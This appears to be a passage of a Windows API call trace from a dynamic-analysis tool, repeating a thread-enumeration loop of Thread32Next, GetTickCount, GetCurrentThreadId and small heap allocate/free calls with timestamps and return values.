[0192.935] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.935] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.936] GetTickCount () returned 0x1880738 [0192.936] GetCurrentThreadId () returned 0xa0c [0192.936] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.936] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.936] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.937] GetTickCount () returned 0x1880738 [0192.937] GetCurrentThreadId () returned 0xa0c [0192.937] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.937] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.937] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.938] GetTickCount () returned 0x1880738 [0192.938] GetCurrentThreadId () returned 0xa0c [0192.938] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.938] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.938] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.939] GetTickCount () returned 0x1880738 [0192.939] GetCurrentThreadId () returned 0xa0c [0192.939] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.939] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.939] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.940] GetTickCount () returned 0x1880738 [0192.940] GetCurrentThreadId () returned 0xa0c [0192.940] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.940] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.940] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.941] GetTickCount () returned 0x1880738 [0192.941] GetCurrentThreadId () returned 0xa0c [0192.941] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.941] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.941] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.942] GetTickCount () returned 0x1880738 [0192.942] GetCurrentThreadId () returned 0xa0c [0192.942] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.942] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.942] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.943] GetTickCount () returned 0x1880738 [0192.943] GetCurrentThreadId () returned 0xa0c [0192.943] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.944] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.944] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.944] GetTickCount () returned 0x1880738 [0192.944] GetCurrentThreadId () returned 0xa0c [0192.944] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.945] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.945] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.946] GetTickCount () returned 0x1880738 [0192.946] GetCurrentThreadId () returned 0xa0c [0192.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.946] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.946] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.947] GetTickCount () returned 0x1880738 [0192.947] GetCurrentThreadId () returned 0xa0c [0192.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.947] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.947] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.948] GetTickCount () returned 0x1880748 [0192.948] GetCurrentThreadId () returned 0xa0c [0192.948] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.948] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.948] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.949] GetTickCount () returned 0x1880748 [0192.949] GetCurrentThreadId () returned 0xa0c [0192.949] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.949] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.949] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.950] GetTickCount () returned 0x1880748 [0192.950] GetCurrentThreadId () returned 0xa0c [0192.950] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.950] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.951] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.951] GetTickCount () returned 0x1880748 [0192.951] GetCurrentThreadId () returned 0xa0c [0192.951] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.952] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.952] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.953] GetTickCount () returned 0x1880748 [0192.953] GetCurrentThreadId () returned 0xa0c [0192.953] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.953] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.954] GetTickCount () returned 0x1880748 [0192.954] GetCurrentThreadId () returned 0xa0c [0192.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.955] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.956] GetTickCount () returned 0x1880748 [0192.956] GetCurrentThreadId () returned 0xa0c [0192.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.956] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.957] GetTickCount () returned 0x1880748 [0192.957] GetCurrentThreadId () returned 0xa0c [0192.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.957] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.958] GetTickCount () returned 0x1880748 [0192.958] GetCurrentThreadId () returned 0xa0c [0192.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.958] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.958] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.959] GetTickCount () returned 0x1880748 [0192.959] GetCurrentThreadId () returned 0xa0c [0192.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.960] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.960] GetTickCount () returned 0x1880748 [0192.960] GetCurrentThreadId () returned 0xa0c [0192.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.961] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.961] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.962] GetTickCount () returned 0x1880748 [0192.962] GetCurrentThreadId () returned 0xa0c [0192.962] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.962] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.962] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.963] GetTickCount () returned 0x1880748 [0192.963] GetCurrentThreadId () returned 0xa0c [0192.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.963] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.965] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.966] GetTickCount () returned 0x1880757 [0192.966] GetCurrentThreadId () returned 0xa0c [0192.966] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.967] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.967] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.967] GetTickCount () returned 0x1880757 [0192.967] GetCurrentThreadId () returned 0xa0c [0192.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.968] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.968] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.969] GetTickCount () returned 0x1880757 [0192.969] GetCurrentThreadId () returned 0xa0c [0192.969] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.969] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.969] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.970] GetTickCount () returned 0x1880757 [0192.970] GetCurrentThreadId () returned 0xa0c [0192.970] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.970] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.970] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.971] GetTickCount () returned 0x1880757 [0192.971] GetCurrentThreadId () returned 0xa0c [0192.971] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.971] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.972] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.972] GetTickCount () returned 0x1880757 [0192.972] GetCurrentThreadId () returned 0xa0c [0192.972] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.973] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.973] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.973] GetTickCount () returned 0x1880757 [0192.973] GetCurrentThreadId () returned 0xa0c [0192.973] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.974] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.974] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.974] GetTickCount () returned 0x1880757 [0192.974] GetCurrentThreadId () returned 0xa0c [0192.974] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.975] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.975] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.975] GetTickCount () returned 0x1880757 [0192.975] GetCurrentThreadId () returned 0xa0c [0192.975] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.976] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.976] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.976] GetTickCount () returned 0x1880757 [0192.977] GetCurrentThreadId () returned 0xa0c [0192.977] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.977] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.977] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.978] GetTickCount () returned 0x1880757 [0192.978] GetCurrentThreadId () returned 0xa0c [0192.978] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.978] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.978] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.979] GetTickCount () returned 0x1880757 [0192.979] GetCurrentThreadId () returned 0xa0c [0192.979] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.979] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.995] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.996] GetTickCount () returned 0x1880777 [0192.996] GetCurrentThreadId () returned 0xa0c [0192.997] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.997] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.998] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.998] GetTickCount () returned 0x1880777 [0192.998] GetCurrentThreadId () returned 0xa0c [0192.998] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0192.999] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0192.999] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0192.999] GetTickCount () returned 0x1880777 [0192.999] GetCurrentThreadId () returned 0xa0c [0193.000] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.000] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.000] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.001] GetTickCount () returned 0x1880777 [0193.001] GetCurrentThreadId () returned 0xa0c [0193.001] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.001] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.001] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.002] GetTickCount () returned 0x1880777 [0193.002] GetCurrentThreadId () returned 0xa0c [0193.002] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.002] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.002] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.003] GetTickCount () returned 0x1880777 [0193.003] GetCurrentThreadId () returned 0xa0c [0193.003] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.003] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.003] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.004] GetTickCount () returned 0x1880777 [0193.004] GetCurrentThreadId () returned 0xa0c [0193.004] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.004] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.004] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.005] GetTickCount () returned 0x1880777 [0193.005] GetCurrentThreadId () returned 0xa0c [0193.005] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.005] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.005] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.006] GetTickCount () returned 0x1880777 [0193.006] GetCurrentThreadId () returned 0xa0c [0193.006] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.006] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.006] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.007] GetTickCount () returned 0x1880777 [0193.007] GetCurrentThreadId () returned 0xa0c [0193.007] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.007] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.007] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.008] GetTickCount () returned 0x1880777 [0193.008] GetCurrentThreadId () returned 0xa0c [0193.008] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.008] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.008] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.009] GetTickCount () returned 0x1880777 [0193.009] GetCurrentThreadId () returned 0xa0c [0193.009] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.010] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.010] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.010] GetTickCount () returned 0x1880786 [0193.010] GetCurrentThreadId () returned 0xa0c [0193.010] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.011] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.011] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.011] GetTickCount () returned 0x1880786 [0193.011] GetCurrentThreadId () returned 0xa0c [0193.011] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.012] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.012] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.013] GetTickCount () returned 0x1880786 [0193.013] GetCurrentThreadId () returned 0xa0c [0193.013] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.013] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.013] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.014] GetTickCount () returned 0x1880786 [0193.014] GetCurrentThreadId () returned 0xa0c [0193.014] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.014] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.014] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.015] GetTickCount () returned 0x1880786 [0193.015] GetCurrentThreadId () returned 0xa0c [0193.015] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.015] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.015] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.016] GetTickCount () returned 0x1880786 [0193.016] GetCurrentThreadId () returned 0xa0c [0193.016] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.017] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.017] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.018] GetTickCount () returned 0x1880786 [0193.018] GetCurrentThreadId () returned 0xa0c [0193.018] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.018] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.018] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.019] GetTickCount () returned 0x1880786 [0193.019] GetCurrentThreadId () returned 0xa0c [0193.019] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.019] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.019] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.020] GetTickCount () returned 0x1880786 [0193.020] GetCurrentThreadId () returned 0xa0c [0193.020] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.020] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.020] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.021] GetTickCount () returned 0x1880786 [0193.021] GetCurrentThreadId () returned 0xa0c [0193.021] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.022] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.022] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.022] GetTickCount () returned 0x1880786 [0193.022] GetCurrentThreadId () returned 0xa0c [0193.022] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.023] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.023] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.024] GetTickCount () returned 0x1880786 [0193.024] GetCurrentThreadId () returned 0xa0c [0193.024] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.024] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.024] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.025] GetTickCount () returned 0x1880786 [0193.025] GetCurrentThreadId () returned 0xa0c [0193.025] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.025] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.025] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.026] GetTickCount () returned 0x1880796 [0193.026] GetCurrentThreadId () returned 0xa0c [0193.026] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.027] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.027] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.028] GetTickCount () returned 0x1880796 [0193.028] GetCurrentThreadId () returned 0xa0c [0193.028] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.028] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.028] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.029] GetTickCount () returned 0x1880796 [0193.029] GetCurrentThreadId () returned 0xa0c [0193.029] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.029] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.029] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.031] GetTickCount () returned 0x1880796 [0193.031] GetCurrentThreadId () returned 0xa0c [0193.031] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.031] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.031] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.032] GetTickCount () returned 0x1880796 [0193.032] GetCurrentThreadId () returned 0xa0c [0193.032] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.033] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.033] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.033] GetTickCount () returned 0x1880796 [0193.034] GetCurrentThreadId () returned 0xa0c [0193.034] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.034] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.034] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.035] GetTickCount () returned 0x1880796 [0193.035] GetCurrentThreadId () returned 0xa0c [0193.035] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.035] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe20ef0 | out: hHeap=0x3b0000) returned 1 [0193.035] Thread32Next (hSnapshot=0x20c, lpte=0x2a7a2a0) returned 1 [0193.036] GetTickCount () returned 0x1880796 [0193.036] GetCurrentThreadId () returned 0xa0c [0193.036] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x64) returned 0xe20ef0 [0193.037] HeapFree (in: hHeap=0x3b0000, 